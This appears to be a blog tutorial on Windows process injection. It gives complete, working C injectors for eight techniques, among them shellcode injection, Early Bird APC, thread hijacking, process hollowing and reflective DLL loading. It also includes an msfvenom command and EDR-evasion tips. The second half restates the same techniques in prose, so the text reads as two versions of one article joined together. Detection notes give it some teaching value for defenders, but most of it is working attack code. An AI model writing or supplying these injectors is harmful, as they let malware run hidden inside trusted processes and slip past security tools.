Windows Process Injection: From Classic DLL Injection to Abusing SetWinEventHook
Most people learn process injection by reading a single technique, copying the code, and moving on. That’s how you get code that works without understanding why it works. This guide takes a different approach. We start from knowing what makes injection possible, build the simplest technique first, identify what’s weak about it, then solve that weakness with the next one. Every technique builds directly on the last.
By the end you’ll understand not just how to write injection code, but why each API exists, what each technique trades against the previous one, and where real-world tooling like Cobalt Strike and Meterpreter lands in this progression.
Before a single line of code, there’s one concept that explains everything.
Why Injection Is Possible?
Every running process on Windows lives in its own virtual address space. Think of it as a completely isolated memory world. Address 0x00400000 in notepad.exe holds notepad's code. The same address in your browser holds browser code. Neither can see the other. This isolation is how Windows prevents processes from accidentally corrupting each other.
But Windows also ships a set of APIs that let you deliberately cross that boundary. With a valid process handle and the right access rights, you can allocate memory inside another process, write arbitrary bytes to that allocation, and spawn threads that execute at any address you specify inside it.
These APIs exist because debuggers, profilers, and accessibility tools genuinely need them. Attackers figured out they needed them too.
The Six APIs Behind Everything
Every technique we cover uses some combination of these six functions. Understand them before touching any technique.
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// 1. Get a handle to the target process
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
// 2. Allocate memory INSIDE the target
// The returned address is valid in the target's space, not yours
LPVOID pRemote = VirtualAllocEx(hProc, NULL, size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 3. Copy bytes from your buffer into that remote allocation
WriteProcessMemory(hProc, pRemote, localBuffer, size, NULL);
// 4. Change memory permissions in the target
DWORD oldProt;
VirtualProtectEx(hProc, pRemote, size, PAGE_EXECUTE_READ, &oldProt);
// 5. Get the address of a function inside a loaded DLL
LPVOID pLoadLib = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
// 6. Spawn a thread inside the target at any address you choose
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)startAddr, arg, 0, NULL);The part that trips everyone up first: VirtualAllocEx returns an address valid inside the target's address space, not yours. Dereferencing it in your injector will crash or return garbage. You use it as the destination for WriteProcessMemory and as an argument to CreateRemoteThread. The target is the one that actually uses that address.
We’ll reuse these two helpers across every technique:
// Find a process PID by name
DWORD FindPID(const char* name) {
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(pe) };
DWORD pid = 0;
if (Process32First(snap, &pe))
do { if (!_stricmp(pe.szExeFile, name)) { pid = pe.th32ProcessID; break; } }
while (Process32Next(snap, &pe));
CloseHandle(snap);
return pid;
}// Get the first thread ID in a process
DWORD FindFirstTID(DWORD pid) {
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(te) };
DWORD tid = 0;
if (Thread32First(snap, &te))
do { if (te.th32OwnerProcessID == pid) { tid = te.th32ThreadID; break; } }
while (Thread32Next(snap, &te));
CloseHandle(snap);
return tid;
}Now let’s build.
Technique 1: Classic DLL Injection
This is the starting point for everyone. It has been known since the late 1990s, every mature EDR flags it, and you should still write it by hand because every later technique is either a variation of it or a direct reaction to its weaknesses.
The idea: you want to run code inside another process. That code is in a DLL on disk. Instead of convincing the target to load it, you force it. You allocate space in the target for a path string, write the DLL’s file path into it, then create a thread that starts at LoadLibraryA with that path as the argument. Windows loads your DLL. Your DllMain runs.
LoadLibraryA works across processes because kernel32.dll maps at the same virtual address in all processes on the same Windows boot. The address you get in your injector is valid in the target too.
BOOL ClassicDLLInject(DWORD pid, const char* dllPath) {
size_t pathLen = strlen(dllPath) + 1;
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProc) return FALSE;
// Allocate space for the path string (just data, no execute needed)
LPVOID pPath = VirtualAllocEx(hProc, NULL, pathLen,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Write the DLL path into the target's memory
WriteProcessMemory(hProc, pPath, dllPath, pathLen, NULL);
// Get LoadLibraryA - same address in all processes on this boot
LPVOID pLoadLib = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
// Create thread in target: it calls LoadLibraryA(dllPath)
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)pLoadLib,
pPath, // <-- becomes the argument to LoadLibraryA
0, NULL);
WaitForSingleObject(hThread, 5000);
VirtualFreeEx(hProc, pPath, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProc);
return TRUE;
}
int main() {
ClassicDLLInject(FindPID("notepad.exe"), "C:\\payload.dll");
}Your DLL payload needs a DllMain. Whatever you put inside DLL_PROCESS_ATTACH runs the moment Windows loads it into the target.
// payload.c — compile as DLL
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID reserved) {
if (reason == DLL_PROCESS_ATTACH) {
// You are running inside notepad.exe now
MessageBoxA(NULL, "Inside notepad!", "Injected", MB_OK);
}
return TRUE;
}Detection: The WriteProcessMemory + CreateRemoteThread pair is one of the most watched API combinations in Windows telemetry. Every mature EDR catches it. The DLL also has to exist on disk, giving antivirus a static target to scan. This technique is essential to understand. It is not suitable for anything requiring stealth.
Technique 2: Shellcode Injection
The first problem with DLL injection is the disk artifact. Your DLL has to exist somewhere so LoadLibraryA can find it. Shellcode injection removes that requirement.
Instead of writing a path string and triggering LoadLibraryA, you write raw machine code directly into the target and execute it. No DLL, no file path, no OS loader involved. Generate shellcode with msfvenom:
msfvenom -p windows/x64/exec CMD=calc.exe -f cThat gives you a C byte array you paste directly into the injector. But there’s one refinement you should always make. A memory page that is simultaneously writable and executable is a very high confidence detection signal. Real code does not work that way. Code pages are read-execute. Data pages are read-write. Never both.
The fix is a two-step permission change: allocate PAGE_READWRITE, write shellcode, flip to PAGE_EXECUTE_READ before executing. One extra API call removes a major EDR signal.
unsigned char sc[] = { 0x50, 0x51 /* replace with real shellcode */ };
BOOL ShellcodeInject(DWORD pid, unsigned char* sc, size_t len) {
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// Step 1: allocate RW only (PAGE_EXECUTE_READWRITE is a loud red flag)
LPVOID pRemote = VirtualAllocEx(hProc, NULL, len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Step 2: write the shellcode
WriteProcessMemory(hProc, pRemote, sc, len, NULL);
// Step 3: flip to RX - remove write, add execute
DWORD old;
VirtualProtectEx(hProc, pRemote, len, PAGE_EXECUTE_READ, &old);
// Step 4: thread starts at shellcode address (no LoadLibrary anywhere)
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)pRemote, NULL, 0, NULL);
WaitForSingleObject(hThread, 5000);
CloseHandle(hThread);
CloseHandle(hProc);
return TRUE;
}Detection: No DLL artifact, but CreateRemoteThread is still present. The thread also starts at a non-image-backed memory region, which security tools flag immediately. The next technique eliminates CreateRemoteThread entirely.
Technique 3: APC Injection
APC stands for Asynchronous Procedure Call. Every Windows thread maintains an APC queue — a list of functions it has agreed to call when it gets a moment. When a thread enters an alertable wait state by calling SleepEx(ms, TRUE) or WaitForSingleObjectEx(h, ms, TRUE), it drains that queue and executes each queued function.
You can add a function to another thread’s APC queue using QueueUserAPC. Make that function your shellcode's address. When any thread in the target goes alertable, your shellcode runs inside that thread. No CreateRemoteThread. That API call is gone entirely.
BOOL APCInject(DWORD pid, unsigned char* sc, size_t len) {
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// Allocate and write shellcode (same two-step as before)
LPVOID pRemote = VirtualAllocEx(hProc, NULL, len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProc, pRemote, sc, len, NULL);
DWORD old;
VirtualProtectEx(hProc, pRemote, len, PAGE_EXECUTE_READ, &old);
// Queue APC to every thread in the process
// At least one should go alertable eventually
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(te) };
int count = 0;
if (Thread32First(snap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (hThread) {
QueueUserAPC((PAPCFUNC)pRemote, hThread, 0);
CloseHandle(hThread);
count++;
}
}
} while (Thread32Next(snap, &te));
}
CloseHandle(snap);
printf("[+] APC queued to %d threads\n", count);
CloseHandle(hProc);
return TRUE;
}The limitation: If the target’s threads never call SleepEx or similar with bAlertable = TRUE, your shellcode sits in the queue and never runs. You are betting on timing. The next technique removes that bet.
Technique 4: Early Bird APC
Instead of targeting existing threads in an existing process, you create the process yourself and inject before it has run a single instruction.
CreateProcess has a CREATE_SUSPENDED flag. With it, the new process is completely frozen after creation. Nothing has executed. ntdll has not initialized. You inject shellcode, queue an APC to the main thread, then call ResumeThread.
Here is why this is reliable: during ntdll’s own initialization routine, the main thread enters an alertable wait state internally. This is just how Windows process startup works. Your APC fires during that startup, before the target program’s own main() function has ever been called. You run first. That's where the name comes from.
BOOL EarlyBirdAPC(const char* exePath, unsigned char* sc, size_t len) {
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = {};
// Spawn the process completely frozen
if (!CreateProcessA(NULL, (LPSTR)exePath, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
return FALSE;
}
printf("[+] PID %lu frozen - injecting before it runs\n", pi.dwProcessId);
// Allocate and write shellcode into the new process
LPVOID pRemote = VirtualAllocEx(pi.hProcess, NULL, len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemote, sc, len, NULL);
DWORD old;
VirtualProtectEx(pi.hProcess, pRemote, len, PAGE_EXECUTE_READ, &old);
// Queue APC to main thread - it goes alertable during ntdll init
QueueUserAPC((PAPCFUNC)pRemote, pi.hThread, 0);
// Resume: ntdll initializes, hits alertable state, APC fires
// Your code runs before the target's WinMain is ever called
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}
int main() {
unsigned char sc[] = { /* your shellcode */ };
EarlyBirdAPC("C:\\Windows\\System32\\notepad.exe", sc, sizeof(sc));
}The timing advantage is real. Many security product hooks attach during or after process initialization. Running before initialization means running before some of those hooks exist.
Technique 5: Thread Hijacking (Context Injection)
Every thread on Windows has a CONTEXT structure holding its full register state: instruction pointer, stack pointer, general-purpose registers. When a thread is suspended, you can read this structure, modify it, and write it back.
Overwrite RIP (the instruction pointer on x64) to point at your shellcode. Resume the thread. It wakes up executing your code instead of whatever it was doing before. No new thread is created anywhere. You borrow an existing trusted thread for a moment.
One critical detail: after your shellcode finishes, the thread needs somewhere to return. Simulate a CALL instruction before resuming: decrement RSP by 8, write the original RIP value to that stack address. When shellcode ends with RET, it pops the original RIP off the stack and the thread continues its normal work as if nothing happened.
BOOL ThreadHijack(DWORD pid, DWORD tid, unsigned char* sc, size_t len) {
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
// Allocate and write shellcode
LPVOID pRemote = VirtualAllocEx(hProc, NULL, len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProc, pRemote, sc, len, NULL);
DWORD old;
VirtualProtectEx(hProc, pRemote, len, PAGE_EXECUTE_READ, &old);
// Freeze the thread and read its full register state
SuspendThread(hThread);
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);
printf("[*] Original RIP = 0x%llx\n", ctx.Rip);
// Simulate a CALL: push original RIP onto the target's stack
ctx.Rsp -= sizeof(DWORD64);
WriteProcessMemory(hProc, (LPVOID)ctx.Rsp, &ctx.Rip, sizeof(DWORD64), NULL);
// Redirect RIP to shellcode
ctx.Rip = (DWORD64)pRemote;
SetThreadContext(hThread, &ctx);
// Resume - thread runs shellcode, RETs back to original RIP
ResumeThread(hThread);
CloseHandle(hThread);
CloseHandle(hProc);
return TRUE;
}
int main() {
DWORD pid = FindPID("notepad.exe");
DWORD tid = FindFirstTID(pid);
// Shellcode must end with 0xC3 (RET) for clean thread return
unsigned char sc[] = { /* shellcode ending in RET */ };
ThreadHijack(pid, tid, sc, sizeof(sc));
}Technique 6: Process Hollowing
Process hollowing does not just inject code into a process — it replaces what the process is running entirely.
You create a legitimate process, say svchost.exe, in suspended state. Then you unmap its original executable from memory using NtUnmapViewOfSection, an undocumented ntdll function. The process shell exists but its code is gone. You write a completely different PE file into the vacated memory, fix the entry point in the thread context, and resume. The process runs your payload. Everything visible about it — name, parent, icon in Task Manager — still says svchost.exe.
This technique requires manual PE header parsing. Before writing it, make sure you understand IMAGE_DOS_HEADER, IMAGE_NT_HEADERS, section headers, and the difference between virtual address and raw file offset. PE Bear is a good tool to visualize this.
typedef NTSTATUS (NTAPI* pNtUnmap)(HANDLE, PVOID);
BOOL ProcessHollow(const char* hostExe, const char* payloadPath) {
// Read payload PE from disk
HANDLE hFile = CreateFileA(payloadPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
DWORD sz = GetFileSize(hFile, NULL);
BYTE* buf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, sz);
ReadFile(hFile, buf, sz, NULL, NULL);
CloseHandle(hFile);
// Parse payload PE headers
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)buf;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(buf + dos->e_lfanew);
// Create host process suspended
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = {};
CreateProcessA(NULL, (LPSTR)hostExe, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Read thread context to find PEB
// On x64: RDX holds PEB address at process entry; PEB+0x10 = ImageBaseAddress
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
DWORD_PTR pebAddr, hostBase;
ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Rdx), &pebAddr, 8, NULL);
ReadProcessMemory(pi.hProcess, (LPCVOID)(pebAddr + 0x10), &hostBase, 8, NULL);
// Unmap the host executable (hollow it out)
pNtUnmap NtUnmap = (pNtUnmap)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
NtUnmap(pi.hProcess, (PVOID)hostBase);
// Allocate at payload's preferred base and write the full PE
LPVOID newBase = VirtualAllocEx(pi.hProcess,
(LPVOID)nt->OptionalHeader.ImageBase,
nt->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Write PE headers
WriteProcessMemory(pi.hProcess, newBase, buf,
nt->OptionalHeader.SizeOfHeaders, NULL);
// Write each section at its virtual address
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
WriteProcessMemory(pi.hProcess,
(LPVOID)((DWORD_PTR)newBase + sec[i].VirtualAddress),
buf + sec[i].PointerToRawData,
sec[i].SizeOfRawData, NULL);
}
// Point RCX to payload entry point and fix PEB ImageBaseAddress
ctx.Rcx = (DWORD64)newBase + nt->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
WriteProcessMemory(pi.hProcess, (LPVOID)(pebAddr + 0x10), &newBase, 8, NULL);
printf("[+] Resuming - payload EP at 0x%llx\n", ctx.Rcx);
ResumeThread(pi.hThread);
HeapFree(GetProcessHeap(), 0, buf);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}Detection: Memory forensics tools like pe-sieve compare what is mapped in the process against what is on disk. The checksums will not match. NtUnmapViewOfSection on a process's own image is also anomalous and caught by kernel callbacks in modern EDRs.
Technique 7: SetWinEventHook (Accessibility Injection)
This one surprises people when they first encounter it. SetWinEventHook is an accessibility API used by screen readers and UI automation tools. When you register a callback, you get notified whenever UI events happen across the desktop: windows open, focus changes, menus appear.
The injection angle comes from the WINEVENT_INCONTEXT flag. With it, your callback runs inside the process that raised the event, not yours. Windows loads your DLL into the target automatically to make that happen. You never call WriteProcessMemory. You never call CreateRemoteThread. The OS accessibility subsystem handles the injection as a side effect of event delivery.
Two requirements to know upfront. Your callback must be exported as extern "C". If C++ name mangling touches it, GetProcAddress silently returns NULL and nothing works. You also need a message pump running because accessibility events arrive through the Windows message queue.
// payload.dll — callback MUST be extern C and exported, or GetProcAddress returns NULL
extern "C" __declspec(dllexport)
void CALLBACK WinEventProc(HWINEVENTHOOK hook, DWORD event, HWND hwnd,
LONG idObj, LONG idChild, DWORD idThread, DWORD time)
{
// Running inside the target process now
// Signal the injector that we are loaded
HANDLE hEvent = OpenEventA(EVENT_MODIFY_STATE, FALSE, "Global\\InjDone");
if (hEvent) { SetEvent(hEvent); CloseHandle(hEvent); }
}
// injector.exe
int main() {
char dllPath[MAX_PATH];
GetModuleFileNameA(NULL, dllPath, MAX_PATH);
char* slash = strrchr(dllPath, '\\');
if (slash) strcpy(slash + 1, "payload.dll");
// Load DLL into OUR process first (required by the API design)
HMODULE hDLL = LoadLibraryA(dllPath);
WINEVENTPROC cb = (WINEVENTPROC)GetProcAddress(hDLL, "WinEventProc");
if (!cb) { printf("[-] Export not found - did you use extern C?\n"); return 1; }
HANDLE hDone = CreateEventA(NULL, TRUE, FALSE, "Global\\InjDone");
// WINEVENT_INCONTEXT = callback runs in-process (this IS the injection)
// WINEVENT_OUTOFCONTEXT = events marshal back to us (no injection at all)
HWINEVENTHOOK hHook = SetWinEventHook(
EVENT_MIN, EVENT_MAX,
hDLL, cb,
0, 0, // all processes on this desktop
WINEVENT_INCONTEXT
);
// Message pump required - events come through the message queue
MSG msg;
while (WaitForSingleObject(hDone, 0) == WAIT_TIMEOUT) {
if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE))
DispatchMessage(&msg);
}
printf("[+] DLL confirmed in target\n");
UnhookWinEvent(hHook);
CloseHandle(hDone);
}Limitation: Only reaches UI processes on the same desktop. Session 0 services and non-GUI processes are immune. The DLL still needs to be on disk. Less monitored than SetWindowsHookEx because the accessibility-as-injector angle is less commonly understood.
Technique 8: Reflective DLL Injection
Every technique so far has one thing in common: it eventually relies on Windows loading code through its normal mechanisms. LoadLibraryA, the PE loader, section mapping. The loader populates the module list, may interact with security products, and requires a file on disk.
Reflective DLL injection removes the OS loader entirely. The DLL contains its own loader function called ReflectiveLoader. When you execute it, it maps the DLL from a raw memory buffer — finding its own location in memory, parsing its own PE headers, fixing relocations, resolving imports, calling DllMain — all without LoadLibraryA. The DLL does not have to be on disk. It does not have to appear in the process module list. Cobalt Strike Beacon and Meterpreter both use descendants of this technique.
Get rahul.0xkr’s stories in your inbox
Join Medium for free to get updates from this writer.
The injector side is actually simpler than most techniques above. You write the raw DLL bytes into the target and start a thread at the ReflectiveLoader offset inside that buffer.
// Scan the export table to find ReflectiveLoader's offset in the raw buffer
DWORD GetReflectiveLoaderOffset(BYTE* dllBuf) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dllBuf;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(dllBuf + dos->e_lfanew);
DWORD expRVA = nt->OptionalHeader.DataDirectory[0].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(dllBuf + expRVA);
DWORD* names = (DWORD*)(dllBuf + exp->AddressOfNames);
DWORD* funcs = (DWORD*)(dllBuf + exp->AddressOfFunctions);
WORD* ords = (WORD* )(dllBuf + exp->AddressOfNameOrdinals);
for (DWORD i = 0; i < exp->NumberOfNames; i++)
if (!strcmp((char*)(dllBuf + names[i]), "ReflectiveLoader"))
return funcs[ords[i]];
return 0;
}
BOOL ReflectiveInject(DWORD pid, const char* dllPath) {
// Read DLL as raw bytes (in real ops this comes over the network - never touches disk)
HANDLE hFile = CreateFileA(dllPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
DWORD size = GetFileSize(hFile, NULL);
BYTE* buf = (BYTE*)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
ReadFile(hFile, buf, size, NULL, NULL);
CloseHandle(hFile);
DWORD loaderOffset = GetReflectiveLoaderOffset(buf);
printf("[+] ReflectiveLoader at offset 0x%lx\n", loaderOffset);
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// Write the entire raw DLL buffer into the target
LPVOID pRemote = VirtualAllocEx(hProc, NULL, size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, pRemote, buf, size, NULL);
// Thread starts at ReflectiveLoader - it handles all PE mapping itself
// No LoadLibraryA anywhere in this chain
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)((DWORD_PTR)pRemote + loaderOffset), NULL, 0, NULL);
WaitForSingleObject(hThread, 10000);
VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProc);
VirtualFree(buf, 0, MEM_RELEASE);
return TRUE;
}The complexity lives inside ReflectiveLoader.c itself. Read Stephen Fewer's original implementation at github.com/stephenfewer/ReflectiveDLLInjection after you have worked through everything above. By then you will understand what every section does. The function is around 200 lines of well-commented C and assembly.
Detection: The DLL exists in memory but has no entry in the PEB’s InMemoryOrderModuleList. Memory scanners like pe-sieve and moneta specifically hunt for PE headers in memory regions not backed by a file on disk. That is the primary detection surface.
How to Progress Through These Techniques
Work through them in order. Do not skip ahead.
Start with Technique 1 and write it from scratch. Run it against notepad.exe. Debug it. Understand why every API call is in that order and what breaks if you remove any one of them. Then Technique 2: the only real difference is shellcode instead of a file path, but that difference encodes everything about shellcode injection. Then Technique 4 (Early Bird) because CREATE_SUSPENDED and the APC mechanism together are worth understanding deeply before moving on.
Before writing Technique 6 (hollowing), spend time with PE format directly. Open any EXE in PE Bear or a hex editor. Identify the DOS header, find the NT headers, read the section table, understand how raw file offsets map to virtual addresses. When you can do that by hand, hollowing will make immediate sense.
Reflective DLL (Technique 8) is the capstone. You need the PE knowledge from hollowing, the thread model from the earlier techniques, and the memory model from all of them. By the time you get there, reading Fewer’s ReflectiveLoader will feel like reading a blog post, not archaeology.
These are not just academic exercises. Shellcode injection is inside most Metasploit payloads. Process hollowing appears in Dridex’s loader and in APT toolkit loaders attributed to the Lazarus Group. Reflective DLL injection is the foundation of Cobalt Strike Beacon. Understanding these techniques is understanding how active threat actors actually operate.
Process injection is the technique that lets attackers run malicious code inside legitimate programs. Here’s how it actually works.
Open Task Manager on any Windows machine. Look at the process list. svchost.exe appears maybe eight times. explorer.exe is there. notepad.exe if you have it open. These are programs you recognize, names you trust.
Now ask yourself: how do you actually know what code is running inside them?
This is the question at the heart of process injection. Windows, by design, allows one process to reach into another’s memory. It’s a feature, not a bug. Debuggers use it. Accessibility tools use it. Anticheat software uses it. And attackers figured out decades ago that they could use it too, and that doing so would make their code nearly invisible inside your own system’s legitimate software.
Every Process Lives in Its Own Bubble
Every running program on Windows gets its own virtual address space. Think of it like an apartment building where each tenant has their own unit, and no one can see into anyone else’s. Address 0x00400000 in notepad.exe holds notepad’s code. The same address in your browser holds browser code. Completely separate.
When you write a pointer in C and dereference it, you’re working entirely inside your own apartment. This is by design. It’s how Windows keeps processes from accidentally corrupting each other.
But Windows also provides a set of APIs that, with the right permissions, let a process reach across that boundary. You can open a handle to another process, read its memory, write to it, and create threads inside it. The OS provides these functions in kernel32.dll, documented and everything.
OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread. Four functions. That's the entire foundation.
The Simplest Version
The most basic technique, called classic DLL injection, is almost embarrassingly straightforward once you see it.
Here’s the idea. You want to run your code inside notepad.exe. You have a DLL that contains that code. Instead of convincing notepad to load it, you force it.
You call OpenProcess to get a handle to notepad. You call VirtualAllocEx to allocate a small chunk of memory inside notepad's address space. You call WriteProcessMemory to write a string into that chunk. The string is a file path, like C:\malware.dll. Then you call CreateRemoteThread with the address of LoadLibraryA as the start routine.
What happens? A new thread spawns inside notepad.exe. That thread calls LoadLibraryA("C:\malware.dll"). Windows loads your DLL into notepad's process. Your DLL's DllMain runs. You're in.
The whole thing is maybe 30 lines of C. It’s not clever. It’s been known since the late 1990s. Every EDR on the planet flags the WriteProcessMemory + CreateRemoteThread combination. But it's the foundation, and you need to understand it before the more interesting techniques make any sense.
No DLL, Just Bytes
Classic DLL injection has an obvious problem. Your malicious DLL has to sit on disk somewhere. Disk means files, files mean antivirus signatures, and signatures mean you get caught.
The next evolution skips the DLL entirely. Instead of writing a file path into the target, you write the actual machine code, raw shellcode, directly into its memory and execute it. No LoadLibrary call. No file to scan.
This is shellcode injection. Tools like Metasploit generate shellcode payloads you can drop straight into this pattern. One small refinement matters here: security tools specifically watch for memory regions that are simultaneously writable and executable. Real code doesn’t work that way. The fix is simple: allocate memory as read-write, write your shellcode, then flip the permissions to read-execute before spawning the thread. Two steps, and a major detection signal disappears.
Asynchronous Procedure Calls: The OS Does the Work
Here’s where it starts getting genuinely interesting.
Windows has a mechanism called APCs, Asynchronous Procedure Calls. Every thread has an APC queue. It’s a list of functions that the thread has agreed to call when it’s ready. When a thread enters an “alertable wait state” by calling SleepEx or WaitForSingleObjectEx with a specific flag, it drains that queue and executes each queued function.
You can add a function to another thread’s APC queue using QueueUserAPC. That function can be the address of your shellcode. And crucially, you don't need to create a new thread. The existing thread does the work when it next goes to sleep.
No CreateRemoteThread. That single syscall is one of the most heavily monitored operations in Windows. Avoiding it makes your injection significantly quieter.
The catch is obvious: the target thread has to actually enter an alertable state for your code to run. You’re gambling on timing. If the thread never calls SleepEx(duration, TRUE), your payload just sits in the queue forever.
Early Bird: Inject Before Defenses Even Load
The solution to the APC timing problem is elegant. Don’t target an existing process. Create one.
CreateProcess has a flag called CREATE_SUSPENDED. When you use it, the new process is frozen at creation. It hasn't executed a single instruction of its own code yet.
You create the process suspended, inject your shellcode, queue your APC to the main thread, then call ResumeThread. Here's what happens: ntdll begins its initialization routine. During that initialization, the main thread goes through an alertable wait state internally, as part of normal process startup. Your APC fires. Your shellcode runs. All of this happens before the target program's main() function has been called even once.
This is called Early Bird APC injection, and it has a genuinely useful property: many security products hook processes during or after initialization. You’re running before most of them get the chance.
Thread Hijacking: Borrow, Don’t Buy
Another approach is to skip creating threads entirely, even through APCs. Instead, you take over a thread that already exists.
Pick any thread in the target process. Suspend it. Call GetThreadContext to read its current register state: instruction pointer, stack pointer, all of it. Overwrite the instruction pointer to point at your shellcode. Apply the modified context with SetThreadContext. Resume.
The thread wakes up and starts executing your shellcode instead of whatever it was doing before. The fix for a clean return is to push the original instruction pointer onto the thread’s stack before resuming, so when your shellcode finishes, the thread picks up right where it left off.
No thread creation at any point. Just an existing thread with temporarily redirected execution. Harder to catch because there’s no thread creation event to monitor.
Process Hollowing: Identity Theft
This is conceptually the most dramatic technique in the set, and it’s been used by some sophisticated malware families including Dridex and various APT loaders.
You create a legitimate process, something like svchost.exe, in suspended state. You then use an undocumented Windows API called NtUnmapViewOfSection to unmap the original executable from the process's memory. The process now exists, but its code is gone.
You allocate new memory and write a completely different PE file into it, your actual payload. Fix up the entry point in the thread context. Resume.
From Task Manager: svchost.exe. From a process list tool: svchost.exe. The process name, the parent process, the icon, all legitimate. The code running inside it is yours.
Some memory forensics tools can catch this by comparing what’s mapped in memory to what’s on disk. The checksums won’t match. But for anything that doesn’t do that comparison, it’s invisible.
The Accessibility API Nobody Knew Was an Injector
Last year I came across a writeup by Pavel Yosifovich, one of the co-authors of Windows Internals, that showed something I hadn’t considered before.
SetWinEventHook is an API designed for accessibility software. Screen readers use it. UI automation tools use it. When you register a callback for UI events, you get notified whenever something interesting happens: a window opens, focus changes, a menu appears.
The injection angle comes from a specific flag: WINEVENT_INCONTEXT. When you use it, your callback runs inside the process that raised the event, not your own process. Windows automatically loads your DLL into the target to make that happen. You never call WriteProcessMemory. You never call CreateRemoteThread. The OS's accessibility layer does the injection as a side effect of its normal operation.
It’s quieter than traditional injection because the mechanism is so unexpected. Security rules are written to watch for classic patterns. An accessibility hook carrying a payload isn’t on most watchlists, though that’s slowly changing.
Why Any of This Matters
Process injection isn’t academic. Cobalt Strike, probably the most widely used commercial red team framework, uses reflective DLL injection as its default payload delivery. Its Beacon implant loads itself into memory without touching disk and lives inside a legitimate process for the entire engagement.
Meterpreter, Metasploit’s flagship payload, does the same thing. You inject a DLL that loads itself reflectively, sets up encrypted comms, and hands you a shell inside explorer.exe or wherever you chose to land.
Real threat actors use these techniques constantly. The Lazarus Group has been observed using process hollowing to disguise their loaders. APT28 has used thread injection variants. MITRE ATT&CK has an entire category for this, T1055, and it’s one of the most populated technique entries in the matrix.
Understanding injection matters from both sides. If you’re doing red team work, knowing these techniques tells you what your tooling is actually doing and why it succeeds or gets caught. If you’re on the blue team, knowing the injection patterns tells you exactly what syscalls and kernel events to monitor: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx, NtQueueApcThread. These are the signals.
Where to Go from Here
If you want to implement these techniques, start with classic DLL injection. Write it from scratch in C. Get it working against a simple target like notepad.exe. Understand exactly what each API call is doing and why it has to happen in that order.
Then move to shellcode injection and understand the memory permission dance. Then Early Bird APC, because it teaches you CREATE_SUSPENDED and the process lifecycle. Process hollowing is the hardest of the traditional techniques because it requires parsing a PE file by hand, but it teaches you more about how Windows loads executables than almost anything else you'll do.
